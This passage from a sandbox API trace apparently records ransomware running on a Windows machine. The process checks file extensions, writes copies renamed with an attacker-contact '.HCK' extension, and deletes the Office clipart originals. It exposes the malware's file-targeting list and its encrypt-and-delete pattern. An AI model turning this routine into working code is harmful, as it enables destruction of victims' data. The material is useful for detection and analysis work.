(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0155.181] lstrlenW (lpString=".doc") returned 4 [0155.181] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.181] lstrlenW (lpString=".docx") returned 5 [0155.181] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.182] lstrlenW (lpString=".pdf") returned 4 [0155.182] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.182] lstrlenW (lpString=".xls") returned 4 [0155.182] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.182] lstrlenW (lpString=".xlsx") returned 5 [0155.182] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.182] lstrlenW (lpString=".ppt") returned 4 [0155.182] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0155.182] lstrlenW (lpString=".zip") returned 4 [0155.182] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.182] lstrlenW (lpString=".rar") returned 4 [0155.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.182] lstrlenW (lpString=".bz2") returned 4 [0155.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.182] lstrlenW (lpString=".7z") returned 3 [0155.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0155.182] lstrlenW (lpString=".dbf") returned 4 [0155.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0155.182] lstrlenW (lpString=".1cd") returned 4 [0155.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0155.182] lstrlenW (lpString=".jpg") returned 4 [0155.182] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0155.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0155.182] lstrlenW (lpString=".doc") returned 4 [0155.182] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.182] lstrlenW (lpString=".docx") returned 5 [0155.182] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.182] lstrlenW (lpString=".pdf") returned 4 [0155.182] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.182] lstrlenW (lpString=".xls") returned 4 [0155.182] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.182] lstrlenW (lpString=".xlsx") returned 5 [0155.182] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.182] lstrlenW (lpString=".ppt") returned 4 [0155.182] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0155.182] lstrlenW (lpString=".zip") returned 4 [0155.182] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.182] lstrlenW (lpString=".rar") returned 4 [0155.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.182] lstrlenW (lpString=".bz2") returned 4 [0155.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.182] lstrlenW (lpString=".7z") returned 3 [0155.183] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0155.183] lstrlenW (lpString=".dbf") returned 4 [0155.183] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0155.183] lstrlenW (lpString=".1cd") returned 4 [0155.183] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0155.183] lstrlenW (lpString=".jpg") returned 4 [0155.183] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.183] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0155.183] lstrlenW (lpString="BD00146_.WMF") returned 12 [0155.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0155.183] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=28948) returned 1 [0155.183] CloseHandle (hObject=0x30c) returned 1 [0155.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x220 [0155.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0155.183] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.183] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0155.184] GetLastError () returned 0x0 [0155.184] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x7114, lpOverlapped=0x0) returned 1 [0155.185] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x7120, lpOverlapped=0x0) returned 1 [0155.186] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.186] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0155.186] SetEndOfFile (hFile=0x308) returned 1 [0155.186] CloseHandle (hObject=0x308) returned 1 [0155.188] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.188] SetEndOfFile (hFile=0x30c) returned 1 [0155.475] CloseHandle (hObject=0x30c) returned 1 [0155.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0155.607] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0155.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0155.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0155.608] lstrlenW (lpString=".doc") returned 4 [0155.608] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.608] lstrlenW (lpString=".docx") returned 5 [0155.608] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.608] lstrlenW (lpString=".pdf") returned 4 [0155.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.608] lstrlenW (lpString=".xls") returned 4 [0155.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.608] lstrlenW (lpString=".xlsx") returned 5 [0155.608] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.608] lstrlenW (lpString=".ppt") returned 4 [0155.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0155.608] lstrlenW (lpString=".zip") returned 4 [0155.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.608] lstrlenW (lpString=".rar") returned 4 [0155.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.608] lstrlenW (lpString=".bz2") returned 4 [0155.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.609] lstrlenW (lpString=".7z") returned 3 [0155.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0155.609] lstrlenW (lpString=".dbf") returned 4 [0155.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0155.609] lstrlenW (lpString=".1cd") returned 4 [0155.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0155.609] lstrlenW (lpString=".jpg") returned 4 [0155.609] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0155.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0155.609] lstrlenW (lpString=".doc") returned 4 [0155.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.609] lstrlenW (lpString=".docx") returned 5 [0155.609] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.609] lstrlenW (lpString=".pdf") returned 4 [0155.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.609] lstrlenW (lpString=".xls") returned 4 [0155.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.609] lstrlenW (lpString=".xlsx") returned 5 [0155.609] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.609] lstrlenW (lpString=".ppt") returned 4 [0155.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0155.609] lstrlenW (lpString=".zip") returned 4 [0155.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.609] lstrlenW (lpString=".rar") returned 4 [0155.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.609] lstrlenW (lpString=".bz2") returned 4 [0155.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.609] lstrlenW (lpString=".7z") returned 3 [0155.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0155.609] lstrlenW (lpString=".dbf") returned 4 [0155.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0155.609] lstrlenW (lpString=".1cd") returned 4 [0155.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0155.609] lstrlenW (lpString=".jpg") returned 4 [0155.609] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.609] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0155.609] lstrlenW (lpString="BD09664_.WMF") returned 12 [0155.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0155.610] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=7966) returned 1 [0155.610] CloseHandle (hObject=0x30c) returned 1 [0155.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x220 [0155.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0155.610] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.611] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0155.611] GetLastError () returned 0x0 [0155.611] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1f1e, lpOverlapped=0x0) returned 1 [0155.613] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1f20, lpOverlapped=0x0) returned 1 [0155.614] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.614] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0155.614] SetEndOfFile (hFile=0x2f0) returned 1 [0155.614] CloseHandle (hObject=0x2f0) returned 1 [0155.615] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.615] SetEndOfFile (hFile=0x30c) returned 1 [0155.615] CloseHandle (hObject=0x30c) returned 1 [0155.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0155.616] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0155.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0155.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0155.616] lstrlenW (lpString=".doc") returned 4 [0155.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.616] lstrlenW (lpString=".docx") returned 5 [0155.616] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.616] lstrlenW (lpString=".pdf") returned 4 [0155.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.616] lstrlenW (lpString=".xls") returned 4 [0155.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.616] lstrlenW (lpString=".xlsx") returned 5 [0155.616] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.616] lstrlenW (lpString=".ppt") returned 4 [0155.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0155.616] lstrlenW (lpString=".zip") returned 4 [0155.616] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.616] lstrlenW (lpString=".rar") returned 4 [0155.616] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.616] lstrlenW (lpString=".bz2") returned 4 [0155.616] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.616] lstrlenW (lpString=".7z") returned 3 [0155.616] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0155.617] lstrlenW (lpString=".dbf") returned 4 [0155.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0155.617] lstrlenW (lpString=".1cd") returned 4 [0155.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0155.617] lstrlenW (lpString=".jpg") returned 4 [0155.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0155.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0155.617] lstrlenW (lpString=".doc") returned 4 [0155.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.617] lstrlenW (lpString=".docx") returned 5 [0155.617] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.617] lstrlenW (lpString=".pdf") returned 4 [0155.617] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.617] lstrlenW (lpString=".xls") returned 4 [0155.617] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.617] lstrlenW (lpString=".xlsx") returned 5 [0155.617] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.617] lstrlenW (lpString=".ppt") returned 4 [0155.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0155.617] lstrlenW (lpString=".zip") returned 4 [0155.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.617] lstrlenW (lpString=".rar") returned 4 [0155.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.617] lstrlenW (lpString=".bz2") returned 4 [0155.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.617] lstrlenW (lpString=".7z") returned 3 [0155.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0155.617] lstrlenW (lpString=".dbf") returned 4 [0155.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0155.617] lstrlenW (lpString=".1cd") returned 4 [0155.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0155.617] lstrlenW (lpString=".jpg") returned 4 [0155.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.617] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0155.617] lstrlenW (lpString="BD10890_.GIF") returned 12 [0155.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0155.618] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=13515) returned 1 [0155.618] CloseHandle (hObject=0x30c) returned 1 [0155.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 0x220 [0155.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0155.618] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.618] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0155.619] GetLastError () returned 0x0 [0155.619] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x34cb, lpOverlapped=0x0) returned 1 [0155.620] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x34d0, lpOverlapped=0x0) returned 1 [0155.621] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.621] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0155.621] SetEndOfFile (hFile=0x2f0) returned 1 [0155.621] CloseHandle (hObject=0x2f0) returned 1 [0155.622] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.622] SetEndOfFile (hFile=0x30c) returned 1 [0155.623] CloseHandle (hObject=0x30c) returned 1 [0155.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0155.623] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 1 [0155.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0155.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0155.623] lstrlenW (lpString=".doc") returned 4 [0155.623] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0155.623] lstrlenW (lpString=".docx") returned 5 [0155.623] lstrcmpiW (lpString1=".docx", 